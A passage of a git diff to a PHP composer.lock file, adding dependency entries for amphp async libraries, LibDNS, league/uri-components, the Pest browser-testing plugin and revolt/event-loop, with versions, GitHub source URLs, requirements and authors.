"2024-04-19T03:38:06+00:00" + }, + { + "name": "amphp/dns", + "version": "v2.4.0", + "source": { + "type": "git", + "url": "https://github.com/amphp/dns.git", + "reference": "78eb3db5fc69bf2fc0cb503c4fcba667bc223c71" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/amphp/dns/zipball/78eb3db5fc69bf2fc0cb503c4fcba667bc223c71", + "reference": "78eb3db5fc69bf2fc0cb503c4fcba667bc223c71", + "shasum": "" + }, + "require": { + "amphp/amp": "^3", + "amphp/byte-stream": "^2", + "amphp/cache": "^2", + "amphp/parser": "^1", + "amphp/process": "^2", + "daverandom/libdns": "^2.0.2", + "ext-filter": "*", + "ext-json": "*", + "php": ">=8.1", + "revolt/event-loop": "^1 || ^0.2" + }, + "require-dev": { + "amphp/php-cs-fixer-config": "^2", + "amphp/phpunit-util": "^3", + "phpunit/phpunit": "^9", + "psalm/phar": "5.20" + }, + "type": "library", + "autoload": { + "files": [ + "src/functions.php" + ], + "psr-4": { + "Amp\\Dns\\": "src" + } + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "authors": [ + { + "name": "Chris Wright", + "email": "addr@daverandom.com" + }, + { + "name": "Daniel Lowrey", + "email": "rdlowrey@php.net" + }, + { + "name": "Bob Weinand", + "email": "bobwei9@hotmail.com" + }, + { + "name": "Niklas Keller", + "email": "me@kelunik.com" + }, + { + "name": "Aaron Piotrowski", + "email": "aaron@trowski.com" + } + ], + "description": "Async DNS resolution for Amp.", + "homepage": "https://github.com/amphp/dns", + "keywords": [ + "amp", + "amphp", + "async", + "client", + "dns", + "resolve" + ], + "support": { + "issues": "https://github.com/amphp/dns/issues", + "source": "https://github.com/amphp/dns/tree/v2.4.0" + }, + "funding": [ + { + "url": "https://github.com/amphp", + "type": "github" + } + ], + "time": "2025-01-19T15:43:40+00:00" + }, + { + "name": "amphp/hpack", + "version": "v3.2.1", + "source": { + "type": "git", + "url": "https://github.com/amphp/hpack.git", + "reference": "4f293064b15682a2b178b1367ddf0b8b5feb0239" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/amphp/hpack/zipball/4f293064b15682a2b178b1367ddf0b8b5feb0239", + "reference": "4f293064b15682a2b178b1367ddf0b8b5feb0239", + "shasum": "" + }, + "require": { + "php": ">=7.1" + }, + "require-dev": { + "amphp/php-cs-fixer-config": "^2", + "http2jp/hpack-test-case": "^1", + "nikic/php-fuzzer": "^0.0.10", + "phpunit/phpunit": "^7 | ^8 | ^9" + }, + "type": "library", + "extra": { + "branch-alias": { + "dev-master": "3.x-dev" + } + }, + "autoload": { + "psr-4": { + "Amp\\Http\\": "src" + } + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "authors": [ + { + "name": "Daniel Lowrey", + "email": "rdlowrey@php.net" + }, + { + "name": "Bob Weinand" + }, + { + "name": "Niklas Keller", + "email": "me@kelunik.com" + }, + { + "name": "Aaron Piotrowski", + "email": "aaron@trowski.com" + } + ], + "description": "HTTP/2 HPack implementation.", + "homepage": "https://github.com/amphp/hpack", + "keywords": [ + "headers", + "hpack", + "http-2" + ], + "support": { + "issues": "https://github.com/amphp/hpack/issues", + "source": "https://github.com/amphp/hpack/tree/v3.2.1" + }, + "funding": [ + { + "url": "https://github.com/amphp", + "type": "github" + } + ], + "time": "2024-03-21T19:00:16+00:00" + }, + { + "name": "amphp/http", + "version": "v2.1.2", + "source": { + "type": "git", + "url": "https://github.com/amphp/http.git", + "reference": "3680d80bd38b5d6f3c2cef2214ca6dd6cef26588" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/amphp/http/zipball/3680d80bd38b5d6f3c2cef2214ca6dd6cef26588", + "reference": "3680d80bd38b5d6f3c2cef2214ca6dd6cef26588", + "shasum": "" + }, + "require": { + "amphp/hpack": "^3", + "amphp/parser": "^1.1", + "league/uri-components": "^2.4.2 | ^7.1", + "php": ">=8.1", + "psr/http-message": "^1 | ^2" + }, + "require-dev": { + "amphp/php-cs-fixer-config": "^2", + "league/uri": "^6.8 | ^7.1", + "phpunit/phpunit": "^9", + "psalm/phar": "^5.26.1" + }, + "type": "library", + "autoload": { + "files": [ + "src/functions.php", + "src/Internal/constants.php" + ], + "psr-4": { + "Amp\\Http\\": "src" + } + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "authors": [ + { + "name": "Niklas Keller", + "email": "me@kelunik.com" + }, + { + "name": "Aaron Piotrowski", + "email": "aaron@trowski.com" + } + ], + "description": "Basic HTTP primitives which can be shared by servers and clients.", + "support": { + "issues": "https://github.com/amphp/http/issues", + "source": "https://github.com/amphp/http/tree/v2.1.2" + }, + "funding": [ + { + "url": "https://github.com/amphp", + "type": "github" + } + ], + "time": "2024-11-23T14:57:26+00:00" + }, + { + "name": "amphp/http-client", + "version": "v5.3.4", + "source": { + "type": "git", + "url": "https://github.com/amphp/http-client.git", + "reference": "75ad21574fd632594a2dd914496647816d5106bc" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/amphp/http-client/zipball/75ad21574fd632594a2dd914496647816d5106bc", + "reference": "75ad21574fd632594a2dd914496647816d5106bc", + "shasum": "" + }, + "require": { + "amphp/amp": "^3", + "amphp/byte-stream": "^2", + "amphp/hpack": "^3", + "amphp/http": "^2", + "amphp/pipeline": "^1", + "amphp/socket": "^2", + "amphp/sync": "^2", + "league/uri": "^7", + "league/uri-components": "^7", + "league/uri-interfaces": "^7.1", + "php": ">=8.1", + "psr/http-message": "^1 | ^2", + "revolt/event-loop": "^1" + }, + "conflict": { + "amphp/file": "<3 | >=5" + }, + "require-dev": { + "amphp/file": "^3 | ^4", + "amphp/http-server": "^3", + "amphp/php-cs-fixer-config": "^2", + "amphp/phpunit-util": "^3", + "ext-json": "*", + "kelunik/link-header-rfc5988": "^1", + "laminas/laminas-diactoros": "^2.3", + "phpunit/phpunit": "^9", + "psalm/phar": "~5.23" + }, + "suggest": { + "amphp/file": "Required for file request bodies and HTTP archive logging", + "ext-json": "Required for logging HTTP archives", + "ext-zlib": "Allows using compression for response bodies." + }, + "type": "library", + "autoload": { + "files": [ + "src/functions.php", + "src/Internal/functions.php" + ], + "psr-4": { + "Amp\\Http\\Client\\": "src" + } + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "authors": [ + { + "name": "Daniel Lowrey", + "email": "rdlowrey@gmail.com" + }, + { + "name": "Niklas Keller", + "email": "me@kelunik.com" + }, + { + "name": "Aaron Piotrowski", + "email": "aaron@trowski.com" + } + ], + "description": "An advanced async HTTP client library for PHP, enabling efficient, non-blocking, and concurrent requests and responses.", + "homepage": "https://amphp.org/http-client", + "keywords": [ + "async", + "client", + "concurrent", + "http", + "non-blocking", + "rest" + ], + "support": { + "issues": "https://github.com/amphp/http-client/issues", + "source": "https://github.com/amphp/http-client/tree/v5.3.4" + }, + "funding": [ + { + "url": "https://github.com/amphp", + "type": "github" + } + ], + "time": "2025-08-16T20:41:23+00:00" + }, + { + "name": "amphp/http-server", + "version": "v3.4.4", + "source": { + "type": "git", + "url": "https://github.com/amphp/http-server.git", + "reference": "8dc32cc6a65c12a3543276305796b993c56b76ef" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/amphp/http-server/zipball/8dc32cc6a65c12a3543276305796b993c56b76ef", + "reference": "8dc32cc6a65c12a3543276305796b993c56b76ef", + "shasum": "" + }, + "require": { + "amphp/amp": "^3", + "amphp/byte-stream": "^2", + "amphp/cache": "^2", + "amphp/hpack": "^3", + "amphp/http": "^2", + "amphp/pipeline": "^1", + "amphp/socket": "^2.1", + "amphp/sync": "^2.2", + "league/uri": "^7.1", + "league/uri-interfaces": "^7.1", + "php": ">=8.1", + "psr/http-message": "^1 | ^2", + "psr/log": "^1 | ^2 | ^3", + "revolt/event-loop": "^1" + }, + "require-dev": { + "amphp/http-client": "^5", + "amphp/log": "^2", + "amphp/php-cs-fixer-config": "^2", + "amphp/phpunit-util": "^3", + "league/uri-components": "^7.1", + "monolog/monolog": "^3", + "phpunit/phpunit": "^9", + "psalm/phar": "~5.23" + }, + "suggest": { + "ext-zlib": "Allows GZip compression of response bodies" + }, + "type": "library", + "autoload": { + "files": [ + "src/Driver/functions.php", + "src/Middleware/functions.php", + "src/functions.php" + ], + "psr-4": { + "Amp\\Http\\Server\\": "src" + } + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "authors": [ + { + "name": "Daniel Lowrey", + "email": "rdlowrey@php.net" + }, + { + "name": "Bob Weinand" + }, + { + "name": "Niklas Keller", + "email": "me@kelunik.com" + }, + { + "name": "Aaron Piotrowski", + "email": "aaron@trowski.com" + } + ], + "description": "A non-blocking HTTP application server for PHP based on Amp.", + "homepage": "https://github.com/amphp/http-server", + "keywords": [ + "amp", + "amphp", + "async", + "http", + "non-blocking", + "server" + ], + "support": { + "issues": "https://github.com/amphp/http-server/issues", + "source": "https://github.com/amphp/http-server/tree/v3.4.4" + }, + "funding": [ + { + "url": "https://github.com/amphp", + "type": "github" + } + ], + "time": "2026-02-08T18:16:29+00:00" + }, + { + "name": "amphp/parser", + "version": "v1.1.1", + "source": { + "type": "git", + "url": "https://github.com/amphp/parser.git", + "reference": "3cf1f8b32a0171d4b1bed93d25617637a77cded7" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/amphp/parser/zipball/3cf1f8b32a0171d4b1bed93d25617637a77cded7", + "reference": "3cf1f8b32a0171d4b1bed93d25617637a77cded7", + "shasum": "" + }, + "require": { + "php": ">=7.4" + }, + "require-dev": { + "amphp/php-cs-fixer-config": "^2", + "phpunit/phpunit": "^9", + "psalm/phar": "^5.4" + }, + "type": "library", + "autoload": { + "psr-4": { + "Amp\\Parser\\": "src" + } + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "authors": [ + { + "name": "Aaron Piotrowski", + "email": "aaron@trowski.com" + }, + { + "name": "Niklas Keller", + "email": "me@kelunik.com" + } + ], + "description": "A generator parser to make streaming parsers simple.", + "homepage": "https://github.com/amphp/parser", + "keywords": [ + "async", + "non-blocking", + "parser", + "stream" + ], + "support": { + "issues": "https://github.com/amphp/parser/issues", + "source": "https://github.com/amphp/parser/tree/v1.1.1" + }, + "funding": [ + { + "url": "https://github.com/amphp", + "type": "github" + } + ], + "time": "2024-03-21T19:16:53+00:00" + }, + { + "name": "amphp/pipeline", + "version": "v1.2.3", + "source": { + "type": "git", + "url": "https://github.com/amphp/pipeline.git", + "reference": "7b52598c2e9105ebcddf247fc523161581930367" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/amphp/pipeline/zipball/7b52598c2e9105ebcddf247fc523161581930367", + "reference": "7b52598c2e9105ebcddf247fc523161581930367", + "shasum": "" + }, + "require": { + "amphp/amp": "^3", + "php": ">=8.1", + "revolt/event-loop": "^1" + }, + "require-dev": { + "amphp/php-cs-fixer-config": "^2", + "amphp/phpunit-util": "^3", + "phpunit/phpunit": "^9", + "psalm/phar": "^5.18" + }, + "type": "library", + "autoload": { + "psr-4": { + "Amp\\Pipeline\\": "src" + } + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "authors": [ + { + "name": "Aaron Piotrowski", + "email": "aaron@trowski.com" + }, + { + "name": "Niklas Keller", + "email": "me@kelunik.com" + } + ], + "description": "Asynchronous iterators and operators.", + "homepage": "https://amphp.org/pipeline", + "keywords": [ + "amp", + "amphp", + "async", + "io", + "iterator", + "non-blocking" + ], + "support": { + "issues": "https://github.com/amphp/pipeline/issues", + "source": "https://github.com/amphp/pipeline/tree/v1.2.3" + }, + "funding": [ + { + "url": "https://github.com/amphp", + "type": "github" + } + ], + "time": "2025-03-16T16:33:53+00:00" + }, + { + "name": "amphp/process", + "version": "v2.0.3", + "source": { + "type": "git", + "url": "https://github.com/amphp/process.git", + "reference": "52e08c09dec7511d5fbc1fb00d3e4e79fc77d58d" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/amphp/process/zipball/52e08c09dec7511d5fbc1fb00d3e4e79fc77d58d", + "reference": "52e08c09dec7511d5fbc1fb00d3e4e79fc77d58d", + "shasum": "" + }, + "require": { + "amphp/amp": "^3", + "amphp/byte-stream": "^2", + "amphp/sync": "^2", + "php": ">=8.1", + "revolt/event-loop": "^1 || ^0.2" + }, + "require-dev": { + "amphp/php-cs-fixer-config": "^2", + "amphp/phpunit-util": "^3", + "phpunit/phpunit": "^9", + "psalm/phar": "^5.4" + }, + "type": "library", + "autoload": { + "files": [ + "src/functions.php" + ], + "psr-4": { + "Amp\\Process\\": "src" + } + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "authors": [ + { + "name": "Bob Weinand", + "email": "bobwei9@hotmail.com" + }, + { + "name": "Aaron Piotrowski", + "email": "aaron@trowski.com" + }, + { + "name": "Niklas Keller", + "email": "me@kelunik.com" + } + ], + "description": "A fiber-aware process manager based on Amp and Revolt.", + "homepage": "https://amphp.org/process", + "support": { + "issues": "https://github.com/amphp/process/issues", + "source": "https://github.com/amphp/process/tree/v2.0.3" + }, + "funding": [ + { + "url": "https://github.com/amphp", + "type": "github" + } + ], + "time": "2024-04-19T03:13:44+00:00" + }, + { + "name": "amphp/serialization", + "version": "v1.0.0", + "source": { + "type": "git", + "url": "https://github.com/amphp/serialization.git", + "reference": "693e77b2fb0b266c3c7d622317f881de44ae94a1" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/amphp/serialization/zipball/693e77b2fb0b266c3c7d622317f881de44ae94a1", + "reference": "693e77b2fb0b266c3c7d622317f881de44ae94a1", + "shasum": "" + }, + "require": { + "php": ">=7.1" + }, + "require-dev": { + "amphp/php-cs-fixer-config": "dev-master", + "phpunit/phpunit": "^9 || ^8 || ^7" + }, + "type": "library", + "autoload": { + "files": [ + "src/functions.php" + ], + "psr-4": { + "Amp\\Serialization\\": "src" + } + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "authors": [ + { + "name": "Aaron Piotrowski", + "email": "aaron@trowski.com" + }, + { + "name": "Niklas Keller", + "email": "me@kelunik.com" + } + ], + "description": "Serialization tools for IPC and data storage in PHP.", + "homepage": "https://github.com/amphp/serialization", + "keywords": [ + "async", + "asynchronous", + "serialization", + "serialize" + ], + "support": { + "issues": "https://github.com/amphp/serialization/issues", + "source": "https://github.com/amphp/serialization/tree/master" + }, + "time": "2020-03-25T21:39:07+00:00" + }, + { + "name": "amphp/socket", + "version": "v2.3.1", + "source": { + "type": "git", + "url": "https://github.com/amphp/socket.git", + "reference": "58e0422221825b79681b72c50c47a930be7bf1e1" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/amphp/socket/zipball/58e0422221825b79681b72c50c47a930be7bf1e1", + "reference": "58e0422221825b79681b72c50c47a930be7bf1e1", + "shasum": "" + }, + "require": { + "amphp/amp": "^3", + "amphp/byte-stream": "^2", + "amphp/dns": "^2", + "ext-openssl": "*", + "kelunik/certificate": "^1.1", + "league/uri": "^6.5 | ^7", + "league/uri-interfaces": "^2.3 | ^7", + "php": ">=8.1", + "revolt/event-loop": "^1 || ^0.2" + }, + "require-dev": { + "amphp/php-cs-fixer-config": "^2", + "amphp/phpunit-util": "^3", + "amphp/process": "^2", + "phpunit/phpunit": "^9", + "psalm/phar": "5.20" + }, + "type": "library", + "autoload": { + "files": [ + "src/functions.php", + "src/Internal/functions.php", + "src/SocketAddress/functions.php" + ], + "psr-4": { + "Amp\\Socket\\": "src" + } + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "authors": [ + { + "name": "Daniel Lowrey", + "email": "rdlowrey@gmail.com" + }, + { + "name": "Aaron Piotrowski", + "email": "aaron@trowski.com" + }, + { + "name": "Niklas Keller", + "email": "me@kelunik.com" + } + ], + "description": "Non-blocking socket connection / server implementations based on Amp and Revolt.", + "homepage": "https://github.com/amphp/socket", + "keywords": [ + "amp", + "async", + "encryption", + "non-blocking", + "sockets", + "tcp", + "tls" + ], + "support": { + "issues": "https://github.com/amphp/socket/issues", + "source": "https://github.com/amphp/socket/tree/v2.3.1" + }, + "funding": [ + { + "url": "https://github.com/amphp", + "type": "github" + } + ], + "time": "2024-04-21T14:33:03+00:00" + }, + { + "name": "amphp/sync", + "version": "v2.3.0", + "source": { + "type": "git", + "url": "https://github.com/amphp/sync.git", + "reference": "217097b785130d77cfcc58ff583cf26cd1770bf1" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/amphp/sync/zipball/217097b785130d77cfcc58ff583cf26cd1770bf1", + "reference": "217097b785130d77cfcc58ff583cf26cd1770bf1", + "shasum": "" + }, + "require": { + "amphp/amp": "^3", + "amphp/pipeline": "^1", + "amphp/serialization": "^1", + "php": ">=8.1", + "revolt/event-loop": "^1 || ^0.2" + }, + "require-dev": { + "amphp/php-cs-fixer-config": "^2", + "amphp/phpunit-util": "^3", + "phpunit/phpunit": "^9", + "psalm/phar": "5.23" + }, + "type": "library", + "autoload": { + "files": [ + "src/functions.php" + ], + "psr-4": { + "Amp\\Sync\\": "src" + } + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "authors": [ + { + "name": "Aaron Piotrowski", + "email": "aaron@trowski.com" + }, + { + "name": "Niklas Keller", + "email": "me@kelunik.com" + }, + { + "name": "Stephen Coakley", + "email": "me@stephencoakley.com" + } + ], + "description": "Non-blocking synchronization primitives for PHP based on Amp and Revolt.", + "homepage": "https://github.com/amphp/sync", + "keywords": [ + "async", + "asynchronous", + "mutex", + "semaphore", + "synchronization" + ], + "support": { + "issues": "https://github.com/amphp/sync/issues", + "source": "https://github.com/amphp/sync/tree/v2.3.0" + }, + "funding": [ + { + "url": "https://github.com/amphp", + "type": "github" + } + ], + "time": "2024-08-03T19:31:26+00:00" + }, + { + "name": "amphp/websocket", + "version": "v2.0.4", + "source": { + "type": "git", + "url": "https://github.com/amphp/websocket.git", + "reference": "963904b6a883c4b62d9222d1d9749814fac96a3b" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/amphp/websocket/zipball/963904b6a883c4b62d9222d1d9749814fac96a3b", + "reference": "963904b6a883c4b62d9222d1d9749814fac96a3b", + "shasum": "" + }, + "require": { + "amphp/amp": "^3", + "amphp/byte-stream": "^2", + "amphp/parser": "^1", + "amphp/pipeline": "^1", + "amphp/socket": "^2", + "php": ">=8.1", + "revolt/event-loop": "^1" + }, + "require-dev": { + "amphp/php-cs-fixer-config": "^2", + "amphp/phpunit-util": "^3", + "phpunit/phpunit": "^9", + "psalm/phar": "^5.18" + }, + "suggest": { + "ext-zlib": "Required for compression" + }, + "type": "library", + "autoload": { + "files": [ + "src/functions.php" + ], + "psr-4": { + "Amp\\Websocket\\": "src" + } + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "authors": [ + { + "name": "Aaron Piotrowski", + "email": "aaron@trowski.com" + }, + { + "name": "Niklas Keller", + "email": "me@kelunik.com" + }, + { + "name": "Bob Weinand", + "email": "bobwei9@hotmail.com" + } + ], + "description": "Shared code for websocket servers and clients.", + "homepage": "https://github.com/amphp/websocket", + "keywords": [ + "amp", + "amphp", + "async", + "http", + "non-blocking", + "websocket" + ], + "support": { + "issues": "https://github.com/amphp/websocket/issues", + "source": "https://github.com/amphp/websocket/tree/v2.0.4" + }, + "funding": [ + { + "url": "https://github.com/amphp", + "type": "github" + } + ], + "time": "2024-10-28T21:28:45+00:00" + }, + { + "name": "amphp/websocket-client", + "version": "v2.0.2", + "source": { + "type": "git", + "url": "https://github.com/amphp/websocket-client.git", + "reference": "dc033fdce0af56295a23f63ac4f579b34d470d6c" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/amphp/websocket-client/zipball/dc033fdce0af56295a23f63ac4f579b34d470d6c", + "reference": "dc033fdce0af56295a23f63ac4f579b34d470d6c", + "shasum": "" + }, + "require": { + "amphp/amp": "^3", + "amphp/byte-stream": "^2.1", + "amphp/http": "^2.1", + "amphp/http-client": "^5", + "amphp/socket": "^2.2", + "amphp/websocket": "^2", + "league/uri": "^7.1", + "php": ">=8.1", + "psr/http-message": "^1|^2", + "revolt/event-loop": "^1" + }, + "require-dev": { + "amphp/http-server": "^3", + "amphp/php-cs-fixer-config": "^2", + "amphp/phpunit-util": "^3", + "amphp/websocket-server": "^3|^4", + "phpunit/phpunit": "^9", + "psalm/phar": "~5.26.1", + "psr/log": "^1" + }, + "type": "library", + "autoload": { + "files": [ + "src/functions.php" + ], + "psr-4": { + "Amp\\Websocket\\Client\\": "src" + } + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "authors": [ + { + "name": "Bob Weinand", + "email": "bobwei9@hotmail.com" + }, + { + "name": "Aaron Piotrowski", + "email": "aaron@trowski.com" + }, + { + "name": "Niklas Keller", + "email": "me@kelunik.com" + } + ], + "description": "Async WebSocket client for PHP based on Amp.", + "keywords": [ + "amp", + "amphp", + "async", + "client", + "http", + "non-blocking", + "websocket" + ], + "support": { + "issues": "https://github.com/amphp/websocket-client/issues", + "source": "https://github.com/amphp/websocket-client/tree/v2.0.2" + }, + "funding": [ + { + "url": "https://github.com/amphp", + "type": "github" + } + ], + "time": "2025-08-24T17:25:34+00:00" + }, { "name": "barryvdh/laravel-debugbar", "version": "v3.16.5", @@ -11814,6 +13036,50 @@ ], "time": "2026-01-08T07:23:06+00:00" }, + { + "name": "daverandom/libdns", + "version": "v2.1.0", + "source": { + "type": "git", + "url": "https://github.com/DaveRandom/LibDNS.git", + "reference": "b84c94e8fe6b7ee4aecfe121bfe3b6177d303c8a" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/DaveRandom/LibDNS/zipball/b84c94e8fe6b7ee4aecfe121bfe3b6177d303c8a", + "reference": "b84c94e8fe6b7ee4aecfe121bfe3b6177d303c8a", + "shasum": "" + }, + "require": { + "ext-ctype": "*", + "php": ">=7.1" + }, + "suggest": { + "ext-intl": "Required for IDN support" + }, + "type": "library", + "autoload": { + "files": [ + "src/functions.php" + ], + "psr-4": { + "LibDNS\\": "src/" + } + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "description": "DNS protocol implementation written in pure PHP", + "keywords": [ + "dns" + ], + "support": { + "issues": "https://github.com/DaveRandom/LibDNS/issues", + "source": "https://github.com/DaveRandom/LibDNS/tree/v2.1.0" + }, + "time": "2024-04-12T12:12:48+00:00" + }, { "name": "driftingly/rector-laravel", "version": "2.1.9", @@ -12096,6 +13362,64 @@ }, "time": "2025-04-30T06:54:44+00:00" }, + { + "name": "kelunik/certificate", + "version": "v1.1.3", + "source": { + "type": "git", + "url": "https://github.com/kelunik/certificate.git", + "reference": "7e00d498c264d5eb4f78c69f41c8bd6719c0199e" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/kelunik/certificate/zipball/7e00d498c264d5eb4f78c69f41c8bd6719c0199e", + "reference": "7e00d498c264d5eb4f78c69f41c8bd6719c0199e", + "shasum": "" + }, + "require": { + "ext-openssl": "*", + "php": ">=7.0" + }, + "require-dev": { + "amphp/php-cs-fixer-config": "^2", + "phpunit/phpunit": "^6 | 7 | ^8 | ^9" + }, + "type": "library", + "extra": { + "branch-alias": { + "dev-master": "1.x-dev" + } + }, + "autoload": { + "psr-4": { + "Kelunik\\Certificate\\": "src" + } + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "authors": [ + { + "name": "Niklas Keller", + "email": "me@kelunik.com" + } + ], + "description": "Access certificate details and transform between different formats.", + "keywords": [ + "DER", + "certificate", + "certificates", + "openssl", + "pem", + "x509" + ], + "support": { + "issues": "https://github.com/kelunik/certificate/issues", + "source": "https://github.com/kelunik/certificate/tree/v1.1.3" + }, + "time": "2023-02-03T21:26:53+00:00" + }, { "name": "laravel/boost", "version": "v2.1.1", @@ -12505,6 +13829,90 @@ }, "time": "2025-12-30T17:31:31+00:00" }, + { + "name": "league/uri-components", + "version": "7.8.0", + "source": { + "type": "git", + "url": "https://github.com/thephpleague/uri-components.git", + "reference": "8b5ffcebcc0842b76eb80964795bd56a8333b2ba" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/thephpleague/uri-components/zipball/8b5ffcebcc0842b76eb80964795bd56a8333b2ba", + "reference": "8b5ffcebcc0842b76eb80964795bd56a8333b2ba", + "shasum": "" + }, + "require": { + "league/uri": "^7.8", + "php": "^8.1" + }, + "suggest": { + "ext-bcmath": "to improve IPV4 host parsing", + "ext-fileinfo": "to create Data URI from file contennts", + "ext-gmp": "to improve IPV4 host parsing", + "ext-intl": "to handle IDN host with the best performance", + "ext-mbstring": "to use the sorting algorithm of URLSearchParams", + "jeremykendall/php-domain-parser": "to further parse the URI host and resolve its Public Suffix and Top Level Domain", + "league/uri-polyfill": "to backport the PHP URI extension for older versions of PHP", + "php-64bit": "to improve IPV4 host parsing", + "rowbot/url": "to handle URLs using the WHATWG URL Living Standard specification", + "symfony/polyfill-intl-idn": "to handle IDN host via the Symfony polyfill if ext-intl is not present" + }, + "type": "library", + "extra": { + "branch-alias": { + "dev-master": "7.x-dev" + } + }, + "autoload": { + "psr-4": { + "League\\Uri\\": "" + } + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "authors": [ + { + "name": "Ignace Nyamagana Butera", + "email": "nyamsprod@gmail.com", + "homepage": "https://nyamsprod.com" + } + ], + "description": "URI components manipulation library", + "homepage": "http://uri.thephpleague.com", + "keywords": [ + "authority", + "components", + "fragment", + "host", + "middleware", + "modifier", + "path", + "port", + "query", + "rfc3986", + "scheme", + "uri", + "url", + "userinfo" + ], + "support": { + "docs": "https://uri.thephpleague.com", + "forum": "https://thephpleague.slack.com", + "issues": "https://github.com/thephpleague/uri-src/issues", + "source": "https://github.com/thephpleague/uri-components/tree/7.8.0" + }, + "funding": [ + { + "url": "https://github.com/nyamsprod", + "type": "github" + } + ], + "time": "2026-01-14T17:24:56+00:00" + }, { "name": "mockery/mockery", "version": "1.6.12", @@ -13003,6 +14411,89 @@ ], "time": "2025-08-20T13:10:51+00:00" }, + { + "name": "pestphp/pest-plugin-browser", + "version": "v4.2.1", + "source": { + "type": "git", + "url": "https://github.com/pestphp/pest-plugin-browser.git", + "reference": "0ed837ab7e80e6fc78d36913cc0b006f8819336d" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/pestphp/pest-plugin-browser/zipball/0ed837ab7e80e6fc78d36913cc0b006f8819336d", + "reference": "0ed837ab7e80e6fc78d36913cc0b006f8819336d", + "shasum": "" + }, + "require": { + "amphp/amp": "^3.1.1", + "amphp/http-server": "^3.4.3", + "amphp/websocket-client": "^2.0.2", + "ext-sockets": "*", + "pestphp/pest": "^4.3.1", + "pestphp/pest-plugin": "^4.0.0", + "php": "^8.3", + "symfony/process": "^7.4.3" + }, + "require-dev": { + "ext-pcntl": "*", + "ext-posix": "*", + "livewire/livewire": "^3.7.3", + "nunomaduro/collision": "^8.8.3", + "orchestra/testbench": "^10.8.0", + "pestphp/pest-dev-tools": "^4.0.0", + "pestphp/pest-plugin-laravel": "^4.0", + "pestphp/pest-plugin-type-coverage": "^4.0.3" + }, + "type": "library", + "extra": { + "pest": { + "plugins": [ + "Pest\\Browser\\Plugin" + ] + } + }, + "autoload": { + "files": [ + "src/Autoload.php" + ], + "psr-4": { + "Pest\\Browser\\": "src/" + } + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "description": "Pest plugin to test browser interactions", + "keywords": [ + "browser", + "framework", + "pest", + "php", + "test", + "testing", + "unit" + ], + "support": { + "source": "https://github.com/pestphp/pest-plugin-browser/tree/v4.2.1" + }, + "funding": [ + { + "url": "https://www.paypal.com/cgi-bin/webscr?cmd=_s-xclick&hosted_button_id=66BYDWAT92N6L", + "type": "custom" + }, + { + "url": "https://github.com/nunomaduro", + "type": "github" + }, + { + "url": "https://www.patreon.com/nunomaduro", + "type": "patreon" + } + ], + "time": "2026-01-11T20:32:34+00:00" + }, { "name": "pestphp/pest-plugin-mutate", "version": "v4.0.1", @@ -13957,6 +15448,78 @@ ], "time": "2026-01-28T15:22:48+00:00" }, + { + "name": "revolt/event-loop", + "version": "v1.0.8", + "source": { + "type": "git", + "url": "https://github.com/revoltphp/event-loop.git", + "reference": "b6fc06dce8e9b523c9946138fa5e62181934f91c" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/revoltphp/event-loop/zipball/b6fc06dce8e9b523c9946138fa5e62181934f91c", + "reference": "b6fc06dce8e9b523c9946138fa5e62181934f91c", + "shasum": "" + }, + "require": { + "php": ">=8.1" + }, + "require-dev": { + "ext-json": "*", + "jetbrains/phpstorm-stubs": "^2019.3", + "phpunit/phpunit": "^9", + "psalm/phar": "^5.15" + }, + "type": "library", + "extra": { + "branch-alias": { + "dev-main": "1.x-dev" + } + }, + "autoload": { + "psr-4": { + "Revolt\\": "src" + } + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "authors": [ + { + "name": "Aaron Piotrowski", + "email": "aaron@trowski.com" + }, + { + "name": "Cees-Jan Kiewiet", + "email": "ceesjank@gmail.com" + }, + { + "name": "Christian Lück", + "email": "christian@clue.engineering" + }, + { + "name": "Niklas Keller", + "email": "me@kelunik.com" + } + ], + "description": "Rock-solid event loop for concurrent PHP applications.", + "keywords": [ + "async", + "asynchronous", + "concurrency", + "event", + "event-loop", + "non-blocking", + "scheduler" + ], + "support": { + "issues": "https://github.com/revoltphp/event-loop/issues", + "source": "https://github.com/revoltphp/event-loop/tree/v1.0.8" + }, + "time": "2025-08-27T21:33:23+00:00" + }, { "name": "sebastian/cli-parser", "version": "4.2.0", diff --git a/config/constants.php 